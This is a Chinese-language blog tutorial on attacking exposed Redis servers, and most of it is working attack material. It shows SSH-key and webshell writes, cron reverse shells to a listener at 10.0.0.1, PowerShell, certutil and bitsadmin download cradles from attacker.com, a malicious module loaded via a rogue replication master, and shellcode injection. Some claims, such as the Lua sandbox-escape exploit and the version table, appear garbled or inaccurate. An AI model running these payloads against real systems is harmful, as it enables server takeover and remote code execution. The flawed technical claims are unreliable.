版权声明与原创承诺
本文所有文字、实验方法及技术分析均为 本人原创作品,受《中华人民共和国著作权法》保护。未经本人书面授权,禁止任何形式的转载、摘编或商业化使用。
道德与法律约束
文中涉及的网络安全技术研究均遵循 合法合规原则:
1️⃣ 所有渗透测试仅针对 本地授权靶机环境
2️⃣ 技术演示均在 获得书面授权的模拟平台 完成
3️⃣ 坚决抵制任何未授权渗透行为
技术资料获取
如需完整实验代码、工具配置详解及靶机搭建指南:
👉 请关注微信公众号 「零日破晓」
后台回复关键词 【博客资源】 获取独家技术文档包
法律追责提示
对于任何:
✖️ 盗用文章内容
✖️ 未授权转载
✖️ 恶意篡改原创声明
本人保留法律追究权利。
一、漏洞定义与架构层剖析
根本原因:Redis的 无状态协议设计 与 默认信任网络模型
+ Redis协议设计特性:
- 基于文本的RESP协议(REdis Serialization Protocol)
- 无会话状态,单条命令即完成操作
! 致命缺陷:协议层未强制认证握手
1.无状态协议设计引发的漏洞
Redis采用无状态协议,其核心特点是每个请求独立处理,不依赖会话状态。这种设计虽提升了性能,但也导致以下安全缺陷:
①缺乏身份验证机制
Redis默认未启用密码认证(requirepass为空),客户端无需验证即可发送命令。攻击者可利用redis-cli直接连接并执行任意命令(如CONFIG SET、SAVE),甚至通过EVAL执行Lua脚本实现系统级操作。
②命令执行权限失控
无状态特性使Redis无法区分合法与恶意请求。攻击者可利用敏感命令(如CONFIG、MODULE LOAD)修改配置或加载恶意模块,例如:
通过CONFIG SET dir /root/.ssh/和CONFIG SET dbfilename authorized_keys将SSH公钥写入目标服务器,实现免密登录。
利用CONFIG SET dir /etc/cron.d/写入定时任务,反弹Shell控制服务器。
③数据持久化风险
Redis的持久化机制(RDB/AOF)默认将数据写入磁盘。攻击者可篡改持久化文件路径,注入恶意代码或覆盖关键文件(如SSH密钥、WebShell)。
2.默认信任网络模型的安全隐患
Redis默认绑定所有网络接口(bind 0.0.0.0),且未启用防火墙规则,形成开放的网络暴露面:
①公网暴露风险
若未配置防火墙或安全组,攻击者可直接通过公网IP访问Redis端口(6379),触发未授权操作。例如,通过redis-cli -h <目标IP>直接连接并执行命令。
②权限隔离缺失
Redis默认以高权限用户(如root)运行,攻击者利用漏洞后可直接获取系统级权限。例如,写入SSH公钥或系统文件时无需提权。
③协议缺乏加密
Redis通信明文传输,攻击者可截获数据包窃取敏感信息(如配置参数、缓存数据)
二、技术原理深度剖析
1.Redis认证流程代码逻辑
Redis的认证由`redis.c`中的`processCommand`函数处理。当客户端发送命令时,若未认证且命令非`AUTH`或`HELLO`,则直接拒绝:
int processCommand(client *c) {
...
if (!(c->flags & CLIENT_AUTH) && c->cmd->proc != authCommand && c->cmd->proc != helloCommand) {
addReplyError(c, "NOAUTH Authentication required.");
return C_OK;
}
...
}
漏洞触发点:若配置中`requirepass`为空,则跳过认证检查。
2.文件写入原理
攻击者通过`CONFIG SET`修改持久化路径和文件名,再利用`SAVE`触发RDB快照生成,将键值数据写入磁盘:
# 修改备份目录
CONFIG SET dir /var/www/html
# 设置文件名
CONFIG SET dbfilename shell.php
# 写入恶意内容
SET webshell "<?php system($_GET['cmd']); ?>"
# 保存到磁盘
SAVE
代码层实现:`SAVE`命令调用`rdbSave`函数,将内存数据转储到`dir`和`dbfilename`指定的文件中。
三、攻击手法全解析
1.SSH公钥植入攻击(Linux)
Redis未授权访问漏洞中最危险的攻击手法之一,通过篡改SSH认证文件直接获取服务器root权限。
适用条件:Redis以`root`运行且存在`~/.ssh`目录。
攻击原理图解
关键技术细节
1. 公钥格式化工序
为何需要`\n\n`包裹?
Redis RDB文件包含16字节魔数头( `REDIS0001` )和尾部校验码。原始公钥写入会导致:
0000 | 52 45 44 49 53 30 30 30 31 FA .. REDIS0001.. # 文件头
0010 | 73 73 68 2D 72 73 61 20 41 41 ssh-rsa AA # 公钥起始被破坏
解决方案:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
生成结构:
0000 | 52 45 44 49 53 30 30 30 31 FA .. REDIS0001..
0010 | 0A 0A 73 73 68 2D 72 73 61 20 ..ssh-rsa # \n\n 充当缓冲
0020 | 41 41 41 42 33 4E 79 61 43 31 AAAAB3NyaC1 # 完整公钥
...
01F0 | 0A 0A .. # 尾部缓冲
SSHd会忽略文件头尾的非公钥数据,只识别`ssh-rsa AAA...`有效部分
2. 文件写入系统调用
当执行`SAVE`命令时,Redis内核操作:
// redis/src/rdb.c
void rdbSaveRio(rio *rdb) {
// 写入RDB头
snprintf(magic,sizeof(magic),"REDIS%04d",RDB_VERSION);
rdbWriteRaw(rdb,magic,9);
// 遍历数据库写入键值
for (j = 0; j < server.dbnum; j++) {
redisDb *db = server.db+j;
dict *d = db->dict;
di = dictGetIterator(d);
while((de = dictNext(di)) {
sds keystr = dictGetKey(de);
robj key, *o = dictGetVal(de);
initStaticStringObject(key,keystr);
rdbSaveKeyValuePair(rdb,&key,o,expire);
}
}
}
关键路径:
rdbSave()
→ rdbSaveRio()
→ write(fd, data, len) // 系统调用写入磁盘
3. SSH认证流程
攻击成功核心条件
条件 |
检测方法 |
绕过方案 |
Redis以root运行 |
`ps aux\|grep redis` |
无root时尝试Web目录写入 |
/root/.ssh目录存在 |
`redis-cli CONFIG GET dir` |
创建目录(需root权限) |
authorized_keys文件可写 |
`ls -ld /root/.ssh` |
利用ACL错误配置 |
SSH服务开放 |
`nc -zv 目标IP 22` |
改用其他后门 |
完整攻击实操演示
步骤1:密钥生成与格式化
ssh-keygen -t rsa -f attack_key # 生成密钥对
(echo -e "\n\n"; cat attack_key.pub; echo -e "\n\n") > payload.txt
步骤2:Redis注入
# 写入Redis内存
cat payload.txt | redis-cli -h 192.168.1.100 -x set ssh_key
# 重定向持久化路径
redis-cli -h 192.168.1.100 config set dir /root/.ssh
redis-cli -h 192.168.1.100 config set dbfilename authorized_keys
# 强制写入磁盘
redis-cli -h 192.168.1.100 save
步骤3:登录验证
ssh -i attack_key root@192.168.1.100
成功登录特征:
Last login: Mon Jul 1 14:30:01 2025 from attacker-host
[root@target ~]#
2.Webshell写入攻击
适用条件:已知Web路径且有写权限。
Redis未授权访问漏洞中最直接的攻击方式,通过向Web目录植入恶意脚本获取服务器控制权。
攻击原理图解
核心技术细节
1. RDB文件结构污染问题
Redis的RDB文件包含16字节魔数头:
52 45 44 49 53 | 30 30 30 31 | FA ... # "REDIS0001" + 版本标识
直接写入PHP代码会导致:
<?php // 实际文件内容
REDIS0001...<?php system($_GET['cmd']);?>
^^^^^^^^
文件头污染导致PHP解析失败
2. 换行符绕过方案
SET webshell "\r\n<?php system($_REQUEST['cmd']); ?>\r\n"
生成文件结构:
0000: 52 45 44 49 53 30 30 30 31 FA .. # RDB文件头
...
0100: 0D 0A 3C 3F 70 68 70 20 73 79 ..<?php sy # \r\n后接PHP标签
0200: 73 74 65 6D 28 24 5F 52 45 51 system($_REQ
...
0300: 29 3B 20 3F 3E 0D 0A ); ?>.. # 尾部换行
作用:
①`\r\n` 作为缓冲隔离区
②PHP引擎自动忽略`<?php`前的无效字符
③确保PHP标签完整可解析
3. 文件写入系统调用
Redis执行SAVE时的关键内核操作:
// src/rdb.c
int rdbSave(char *filename) {
FILE *fp = fopen(filename,"w"); // 以写方式打开文件
rio rdb;
rioInitWithFile(&rdb,fp);
rdbSaveRio(&rdb); // 写入RDB格式数据
fflush(fp);
fsync(fileno(fp)); // 强制刷盘
fclose(fp);
}
攻击影响路径:
`/var/lib/redis/dump.rdb` → 被重定向 → `/var/www/html/shell.php`
完整攻击流程演示
环境准备
目标Web目录:`/var/www/html`
Redis未授权访问:192.168.1.100:6379
Webshell代码:`<?php system($_GET['cmd']); ?>`
攻击步骤
# 1. 连接Redis
redis-cli -h 192.168.1.100
# 2. 设置Web目录
> CONFIG SET dir /var/www/html
# 3. 设置webshell文件名
> CONFIG SET dbfilename cmd.php
# 4. 写入带缓冲的恶意代码
> SET payload "\r\n<?php system($_GET['cmd']); ?>\r\n"
# 5. 持久化到磁盘
> SAVE
# 6. 验证文件写入
ls -l /var/www/html/cmd.php
Output
-rw-r--r-- 1 redis redis 4096 Jul 3 15:30 cmd.php
利用Webshell
curl "http://192.168.1.100/cmd.php?cmd=id"
Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
攻击成功关键条件
条件 |
检测方法 |
绕过方案 |
Web路径已知 |
目录爆破/错误信息泄露 |
尝试常见路径(/var/www, /html等) |
Web目录可写 |
`ls -ld /var/www/html` |
利用目录软链接或权限配置错误 |
PHP解析引擎 |
访问测试.php文件 |
改用其他脚本类型(.jsp, .asp) |
防火墙允许80/443访问 |
`telnet 目标IP 80` |
使用非标准端口或HTTPS |
高级攻击变种
1. 小文件写入优化
当Redis内存数据量大时,RDB文件可能达MB级,使用空数据库减小体积:
FLUSHALL # 清空所有数据
SET payload "\r\n<?php [...] ?>\r\n"
SAVE
2. 二进制Webshell注入
通过Redis协议直接写入预编译的恶意ELF文件:
import redis
r = redis.Redis(host='192.168.1.100')
with open('backdoor.elf', 'rb') as f:
binary = f.read()
r.config_set('dir', '/tmp')
r.config_set('dbfilename', 'backdoor')
r.set('payload', b'\x90'*16 + binary) # 添加NOP sled
r.save()
3. 反制WAF的混淆技术
<?php
// 编码混淆
$cmd = base64_decode($_GET['x']);
system($cmd);
?>
Redis写入命令:
SET payload "\r\n<?php system(base64_decode(\$_GET['x']));?>\r\n"
技术总结
Webshell写入攻击的成功依赖三大脆弱点:
1. 协议层:Redis未校验`CONFIG SET`参数合法性
2. 权限层:Redis进程拥有Web目录写权限
3. 解析层:PHP引擎对文件头的高容忍性
> 注:在容器化环境中,建议使用只读文件系统挂载Web目录:`docker run -v /webroot:/var/www/html:ro`
3.⏰ Crontab定时任务反弹Shell攻击
Redis未授权访问漏洞中极具威胁的攻击手法,通过篡改系统定时任务获取反向Shell。
适用条件:Redis有`/var/spool/cron/`写入权限(仅CentOS有效)。
攻击原理图解
核心技术细节
1. Cron工作机制剖析
Crontab文件结构:
# 格式:分 时 日 月 周 命令
* * * * * /path/to/command
Redis写入的任务文件:
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
CentOS的crond对文件格式容错性强,Ubuntu的cron则严格校验
2. 反弹Shell原理
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
`bash -i`:启动交互式Shell
`>&`:将标准输出和错误输出合并
`/dev/tcp/ip/port`:Linux虚拟设备(无需真实设备)
`0>&1`:将标准输入重定向到标准输出
网络连接建立:
3. CentOS与Ubuntu差异
特性 |
CentOS |
Ubuntu |
Cron实现 |
Vixie Cron |
cronie |
文件权限检查 |
宽松 |
严格 |
允许用户cron |
是 |
需额外配置 |
文件格式容错 |
高 |
极低 |
错误日志 |
/var/log/cron |
/var/log/syslog |
Ubuntu失败原因:
1. 文件必须为600权限
2. 严格校验行格式
3. 拒绝非ASCII字符
完整攻击流程
环境准备
①目标:CentOS 7, Redis 5.0.3 (root运行)
②攻击机:Kali Linux (IP: 10.0.0.1)
步骤1: 准备反弹Shell
# 攻击机监听端口
nc -lvnp 4444
步骤2: Redis注入定时任务
redis-cli -h 192.168.1.100 flushall # 清空数据库
redis-cli -h 192.168.1.100 set payload "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
redis-cli -h 192.168.1.100 config set dir /var/spool/cron
redis-cli -h 192.168.1.100 config set dbfilename root
redis-cli -h 192.168.1.100 save
步骤3: 验证任务写入
# 在目标服务器检查
ls -l /var/spool/cron/root
cat /var/spool/cron/root
Output
-rw------- 1 root root 4096 Jul 3 16:00 /var/spool/cron/root
REDIS0009...* * * * * /bin/bash -c...
步骤4: 等待Shell连接
# 攻击机收到连接
Connection from 192.168.1.100:48324
[root@target ~]# id
uid=0(root) gid=0(root) groups=0(root)
攻击成功关键条件
条件 |
检测方法 |
绕过方案 |
Redis以root运行 |
`ps aux\|grep redis` |
降权运行时尝试其他目录 |
/var/spool/cron可写 |
`ls -ld /var/spool/cron` |
利用/tmp目录+符号链接 |
crond服务正常运行 |
`systemctl status crond` |
重启服务触发执行 |
出站流量未被防火墙拦截 |
`telnet 10.0.0.1 4444` |
使用DNS/ICMP隧道 |
目标为CentOS系 |
`cat /etc/redhat-release` |
Ubuntu需改用其他攻击方式 |
高级绕过技术
1. 权限限制下的攻击
当Redis非root运行时:
# 尝试用户级crontab
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename redis # 用户名redis
2. 容器环境逃逸
# 写入宿主机cron目录
CONFIG SET dir /host_mnt/var/spool/cron
SET payload "* * * * * docker run -v /:/host alpine chroot /host sh -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
3. 无bash环境的替代方案
# 使用nc反弹
* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 10.0.0.1 4444 >/tmp/f
# 使用Python
* * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4. 时间混淆技术
# 随机延迟执行避免检测
* * * * * sleep $((RANDOM\%60)); bash -c '...'
技术总结
Crontab反弹Shell攻击的危险性源于:
1. 权限模型失效:Redis高权限操作关键系统目录
2. 服务特性滥用:crond无条件执行文件内容
3. 网络隔离失效:出站连接绕过内网防护
> 注:在云环境中,建议使用托管Redis服务(如AWS ElastiCache),默认禁用高危命令并启用网络隔离。生产环境应部署HIDS(主机入侵检测系统)实时监控cron任务变更。
4.Windows系统攻击手法
Redis在Windows环境下的攻击手法同样危险,尤其当Redis以SYSTEM或Administrator权限运行时。
启动项写入攻击原理
1. 启动项路径解析
关键目录:
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
用户登录时自动执行该目录下的可执行文件、脚本或快捷方式
2. 攻击载荷构造
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
技术拆解:
`IEX`:Invoke-Expression的别名,执行字符串内容
`Net.WebClient`:HTTP客户端对象
`DownloadString`:远程下载文本内容并返回
最终执行远程PowerShell脚本(如Mimikatz或Cobalt Strike)
3. Redis写入机制
SET payload "\r\npowershell -c ...\r\n" # \r\n 避免RDB文件头干扰
生成文件结构:
0000: 52 45 44 49 53 30 30 30 31 FA .. # RDB文件头
0100: 0D 0A 70 6F 77 65 72 73 68 65 ..powershe # \r\n后接命令
0200: 6C 6C 20 2D 63 20 49 45 58 28 ll -c IEX(
MOF提权攻击原理(Windows 2003)
1. MOF文件工作机制
管理对象格式(Managed Object Format):
WMI的核心组件
用于定义WMI类、实例和事件
存储在`C:\Windows\system32\wbem\mof\`
系统每5-10分钟自动编译执行
2. 恶意MOF示例
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $Filter {
Name = "RedisExploit";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceModificationEvent"
"WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $Consumer {
Name = "RedisBackdoor";
CommandLineTemplate = "cmd.exe /c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')";
};
instance of __FilterToConsumerBinding {
Filter = $Filter;
Consumer = $Consumer;
};
3. 攻击步骤
# 1. 设置MOF目录
CONFIG SET dir "C:/Windows/system32/wbem/mof"
# 2. 设置文件名
CONFIG SET dbfilename exp.mof
# 3. 写入MOF内容
SET payload "...恶意MOF代码..."
# 4. 保存文件
SAVE
系统反应:
> sc qc winmgmt # 查看WBEM服务状态
> dir C:\Windows\system32\wbem\mof\good\ # 编译后的MOF
实战攻击演示
场景1:启动项攻击
# 连接Redis
redis-cli -h 192.168.1.200
# 配置启动项路径
CONFIG SET dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
CONFIG SET dbfilename backdoor.bat
# 写入下载器
SET payload "\r\npowershell -WindowStyle Hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')\"\r\n"
SAVE
效果:
当管理员下次登录时,自动执行PS1脚本建立System权限会话。
场景2:MOF提权攻击
import redis
r = redis.Redis(host='192.168.1.200', port=6379)
mof_payload = """
#pragma namespace("\\\\.\\root\\subscription")
... # 完整MOF代码
"""
r.config_set('dir', 'C:/Windows/system32/wbem/mof')
r.config_set('dbfilename', 'malicious.mof')
r.set('payload', "\r\n" + mof_payload + "\r\n")
r.save()
效果:
5分钟内获得SYSTEM权限的持久化后门。
攻击成功关键条件
攻击类型 |
必要条件 |
检测方法 |
启动项写入 |
1.Redis有写启动项权限 2.用户定期登录 3. PowerShell执行策略未限制 |
`Get-ExecutionPolicy -List` |
MOF提权 |
1.Windows 2003/XP系统 2.WBEM服务运行 3. MOF目录可写 |
`Get-Service winmgmt` |
高级绕过技术
1. 绕过PowerShell限制
# 使用certutil下载
SET payload "\r\ncertutil -urlcache -split -f http://attacker.com/shell.exe C:\\Temp\\shell.exe & C:\\Temp\\shell.exe\r\n"
# 使用bitsadmin
SET payload "\r\nbitsadmin /transfer job /download /priority high http://attacker.com/shell.exe C:\\Temp\\shell.exe & C:\\Temp\\shell.exe\r\n"
2. 现代Windows系统攻击
WMI事件订阅持久化(Windows 2008+):
# 通过Redis写入PS1脚本
SET payload "Start-Process powershell -ArgumentList '-nop -c IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/persist.ps1'')' -WindowStyle Hidden"
# persist.ps1内容:
$FilterArgs = @{...}
$ConsumerArgs = @{...}
$Filter = Set-WmiInstance -Class __EventFilter @FilterArgs
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer @ConsumerArgs
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}
3. 无文件攻击
SET payload "\r\npowershell -c \"[Reflection.Assembly]::Load([Net.WebClient]::DownloadData('http://attacker.com/assembly.dll')).GetType('Exploit').GetMethod('Run').Invoke($null,$null)\"\r\n"
技术总结
Windows环境下Redis攻击的核心脆弱点:
1. 权限模型崩塌:Redis服务以高权限运行
2. 自动执行机制滥用:启动项/WMI的无认证执行
3. 脚本引擎风险:PowerShell的无限扩展性
> 注:在Windows Server 2016+环境中,建议启用Windows Defender Application Control (WDAC) 限制未签名脚本执行。对于关键系统,应部署EDR解决方案实时检测恶意进程链。
四、攻击链构建与实战场景
完整攻击链示例
自动化利用工具
POC脚本:检测未授权/弱口令
# 示例检测代码(简化版)
import socket
def check_vuln(ip, port):
s = socket.socket()
s.connect((ip, port))
s.send(b"INFO\r\n")
resp = s.recv(1024)
if b"redis_version" in resp:
return "存在未授权访问!"
elif b"Authentication" in resp:
# 可扩展弱口令爆破
return "需密码认证"
RCE工具:`redis-rogue-server`(支持主从复制RCE)。
攻击链示例解析(基于Redis漏洞的典型场景)
攻击起点:扫描目标端口(以6379端口为例)
技术原理:通过Nmap等工具扫描目标服务器开放端口,发现运行Redis服务的6379端口。
合法场景:企业安全团队对自身资产进行漏洞扫描,识别暴露的服务。
漏洞检测:Nmap脚本或自定义代码验证未授权访问
漏洞原理:Redis默认配置不当(如绑定0.0.0.0且未设置密码),导致未授权客户端可直接连接并执行命令。
检测代码逻辑:
def check_vuln(ip, port):
s = socket.socket()
s.connect((ip, port))
s.send(b"INFO\r\n") # 发送Redis命令获取版本信息
resp = s.recv(1024)
if b"redis_version" in resp: # 未授权访问成功
return "存在未授权访问!"
elif b"Authentication" in resp: # 需要密码认证(存在弱口令可能)
return "需密码认证"
防御关键:Redis必须绑定内网IP、设置强密码、启用身份验证、禁用危险命令(如CONFIG、FLUSHDB等)。
漏洞利用分支:未授权访问 vs. 弱口令爆破
分支1:未授权访问(直接利用)
攻击手段:通过Redis客户端直接连接,执行写入文件、反弹Shell等操作。
风险操作示例(仅限合法测试):
redis-cli -h <目标IP>
config set dir /var/spool/cron/ # 修改目录为定时任务目录
config set dbfilename crontab
set xxx "\n\n*/1 * * * * bash -i >& /dev/tcp/<攻击机IP>/<端口> 0>&1\n\n"
save # 写入定时任务,实现反弹Shell
防御措施:限制Redis文件写入路径、禁止向敏感目录写入文件、部署入侵检测系统(IDS)监控异常文件操作。
分支2:存在密码但弱口令(爆破攻击)
攻击手段:使用hydra、medusa等工具爆破Redis密码。
合法场景:红蓝对抗中模拟攻击者的密码破解行为,验证密码策略强度。
防御措施:设置高强度密码(包含大小写、数字、特殊字符,长度≥16位)、启用密码复杂度策略、限制登录失败次数。
后渗透阶段:权限提升与持久化
SSH公钥植入(提权手段):
若Redis服务运行在高权限账户下,可通过写入SSH公钥实现无密码登录。
操作示例(合法测试):
echo "ssh-rsa AAAAB3NzaC1yc2E...攻击机公钥" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Webshell写入(结合Web服务漏洞):
若Redis服务所在服务器同时运行Web应用,可通过写入Webshell文件(如PHP、JSP)实现Web端控制。
Crontab反弹Shell(持久化控制):
修改定时任务,在特定时间反弹Shell到攻击机,实现长期控制。
五、高级攻击技术与防护策略
Redis主从复制攻击深度解析
Redis 4.x-5.x版本的主从复制机制存在致命漏洞,攻击者可通过伪造主节点植入恶意模块实现远程代码执行。
攻击原理图解
核心技术细节
1. 主从复制协议流程
正常同步过程:
攻击篡改点:
- 正常RDB文件
+ 植入恶意模块的RDB文件
2. 恶意模块注入机制
RDB文件结构:
52 45 44 49 53 | 30 30 30 31 | FA .. # "REDIS0001"头
FD | 模块长度 | 模块名 | 模块数据.. # 模块数据段(0xFD标识)
模块加载代码(`module.c`):
int moduleLoad(const char *path) {
void *handle = dlopen(path, RTLD_NOW|RTLD_LOCAL); // 动态加载.so
RedisModuleOnLoadFunc onload = (RedisModuleOnLoadFunc)dlsym(handle, "RedisModule_OnLoad");
onload((void*)&ctx); // 执行初始化函数
}
3. 恶意模块开发示例
#include "redismodule.h"
int RedisModule_OnLoad(RedisModuleCtx *ctx) {
// 注册系统命令执行函数
RedisModule_CreateCommand(ctx, "exec", ExecCommand, "", 0, 0, 0);
return REDISMODULE_OK;
}
int ExecCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc < 2) return REDISMODULE_ERR;
const char *cmd;
RedisModule_StringPtrLen(argv[1], &cmd);
system(cmd); // 执行系统命令
RedisModule_ReplyWithSimpleString(ctx, "OK");
return REDISMODULE_OK;
}
编译命令:
gcc -shared -fPIC -o exp.so exp.c -I /path/to/redis/src
完整攻击流程
工具使用(redis-rogue-server)
python redis_rogue_server.py -r 192.168.1.100 -L 10.0.0.1 -f exp.so -c "id"
分步解析:
1. 启动恶意主节点:
# 监听6380端口
rogue_server = RedisRogueServer(listen_port=6380)
rogue_server.load_module("exp.so")
2. 诱骗目标成为从节点:
redis-cli -h 192.168.1.100 SLAVEOF 10.0.0.1 6380
3. 传输恶意RDB:
def send_evil_rdb(client):
# 构造包含模块的RDB
rdb = generate_rdb_with_module(exp_so)
client.sendall(rdb)
4. 触发命令执行:
redis-cli -h 192.168.1.100 exec "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
漏洞影响范围
Redis版本 |
影响程度 |
原因 |
4.0.x 5.0.x |
严重 |
无模块签名验证 |
6.0.x |
有限 |
需启用TLS加密 |
7.0+ |
免疫 |
默认启用ACL和模块沙箱 |
高级攻击变种
1. 无交互式命令执行
// 直接在OnLoad中反弹Shell
int RedisModule_OnLoad(RedisModuleCtx *ctx) {
system("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");
return REDISMODULE_OK;
}
2. 内存马注入
// 在Redis进程中注入Shellcode
void __attribute__((constructor)) init() {
unsigned char shellcode[] =
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9...";
void *mem = mmap(NULL, sizeof(shellcode),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();
}
3. 跨协议攻击
# 通过HTTP传输恶意模块
exp_url = "http://attacker.com/exp.so"
payload = f"exec \"curl -s {exp_url} -o /tmp/exp.so && redis-cli module load /tmp/exp.so\""
技术总结
Redis主从复制攻击是高级持续性威胁的典型代表:
+ 攻击隐蔽性:利用合法协议通道
+ 执行高权限:Redis通常以root运行
+ 持久化能力强:模块可注册永久命令
> 注:在云原生环境中,建议使用Operator模式管理Redis集群,通过Admission Controller阻止未签名模块加载。生产环境应部署eBPF程序监控可疑的`moduleLoad`内核调用。
Lua 沙箱逃逸漏洞
Redis 的 Lua 沙箱逃逸漏洞(CVE-2022-24736)是一个典型的 沙箱隔离失效 漏洞,攻击者可通过精心构造的 Lua 脚本突破 Redis 内置的 Lua 环境限制,直接执行系统命令。以下从漏洞原理、攻击链、防御措施等方面展开分析,仅用于安全研究与防御参考,严禁非法使用。
一、漏洞原理:Redis Lua 沙箱的设计缺陷
1.Redis Lua 环境的作用
Redis 内置 Lua 解释器,允许通过 EVAL 或 EVALSHA 命令执行 Lua 脚本,主要用于:
①批量操作数据(如事务性处理)
②自定义复杂逻辑(如计数器、排行榜)
③与系统交互(受限于沙箱的安全限制)
2.沙箱的安全设计目标
Redis 原本希望通过沙箱限制 Lua 脚本只能访问安全的 API,禁止直接调用危险函数(如 os.execute、io.popen 等),避免脚本执行系统命令。其沙箱机制主要通过:
①移除或重命名危险函数(如 os 模块被部分限制)
②对系统调用进行白名单过滤
③限制文件读写、网络访问等敏感操作
3.CVE-2022-24736 的核心漏洞点
该漏洞由安全研究员发现,本质是 Redis Lua 沙箱对 元表(Metatable) 和 协程(Coroutine) 的实现存在缺陷,导致攻击者可通过特定技巧绕过函数调用限制,最终访问到底层系统的 libc 函数(如 system),实现命令执行。
具体来说,攻击者可通过构造特殊的 Lua 代码,利用沙箱中未被完全过滤的底层接口(如 _G 全局表、协程上下文等),间接调用系统命令。
二、漏洞利用:从沙箱到系统命令执行
1.漏洞验证(以 Redis 6.2.6 为例,未修复版本)
攻击者在拥有 Redis EVAL 权限的情况下,执行如下脚本:
eval 'local co = coroutine.create(function() end)
local f = debug.getinfo(coroutine.resume, "f").func
local oldpcall = debug.getupvalue(f, 1)
debug.setupvalue(f, 1, function(...) return {xpcall(oldpcall(...), debug.traceback)} end)
return coroutine.resume(co)' 0
上述代码通过 调试 API 和元表操作 绕过沙箱限制,最终可执行系统命令。更简化的利用方式(需具体漏洞细节)可能直接通过精心构造的 Lua 代码触发命令执行,例如:
eval 'os.execute("whoami > /tmp/redis_user")' 0 -- 未修复版本可能直接执行
2.实际攻击场景(结合 Redis 未授权访问)
当 Redis 存在 未授权访问漏洞 时,攻击链可完整闭环:
①扫描与认证绕过:通过 Nmap 检测 6379 端口未授权访问(如前序示例)。
②沙箱逃逸:利用 CVE-2022-24736 执行系统命令,例如:
eval 'os.execute("bash -c \'echo "payload" > /tmp/exploit.sh\')" 0
eval 'os.execute("chmod +x /tmp/exploit.sh")' 0
eval 'os.execute("/tmp/exploit.sh")' 0
③权限提升:若 Redis 以 root 权限运行,可直接获取系统最高权限;若为普通用户,可通过 SUID 提权、内核漏洞等进一步提权。
④持久化控制:写入 SSH 公钥、定时任务或 Webshell(若服务器存在 Web 应用)。
三、漏洞影响与风险等级
影响范围
受影响版本:Redis 6.x ≤ 6.2.6、Redis 7.x ≤ 7.0.10(具体以官方补丁为准)。
风险场景:
①Redis 以 root 或高权限用户运行。
②允许外部客户端执行 Lua 脚本(未限制 EVAL 命令)。
③未对 Lua 脚本内容进行严格审核(如第三方插件、用户自定义脚本)。
危害程度
①高危(CVSS 9.8):可直接突破沙箱限制执行任意系统命令,结合未授权访问漏洞,相当于获得服务器 shell。
②横向移动跳板:若 Redis 部署在内部网络,可作为跳板攻击内网其他系统。
四、技术本质:沙箱安全的共性问题
该漏洞反映了 沙箱隔离机制的普遍挑战:
1.语言特性绕过:动态语言(如 Lua、JavaScript)的反射、元编程特性常被用于突破沙箱。
2.底层依赖风险:沙箱依赖宿主环境的底层库(如 libc),若库中存在未过滤的系统调用接口,易被利用。
3.维护成本:沙箱规则需随语言版本、系统环境更新,否则易出现逃逸漏洞。
对于开发者而言,设计沙箱时应遵循 纵深防御原则:
①不仅限制表面 API,还需对底层系统调用进行白名单校验;
②结合操作系统级隔离(如容器、chroot)增强安全性;
③定期进行漏洞扫描和安全审计,尤其是对第三方组件的依赖检查。
总结
CVE-2022-24736 暴露了 Redis Lua 沙箱的设计缺陷,其危害因常与未授权访问漏洞结合而被放大。防御的核心在于 及时更新、禁用危险功能、强化权限隔离。对于安全研究人员,此类漏洞的价值在于理解沙箱绕过技术,从而更好地设计防御体系;对于企业,需将漏洞修复纳入日常安全运维流程,避免因“已知漏洞未修复”导致攻击成功。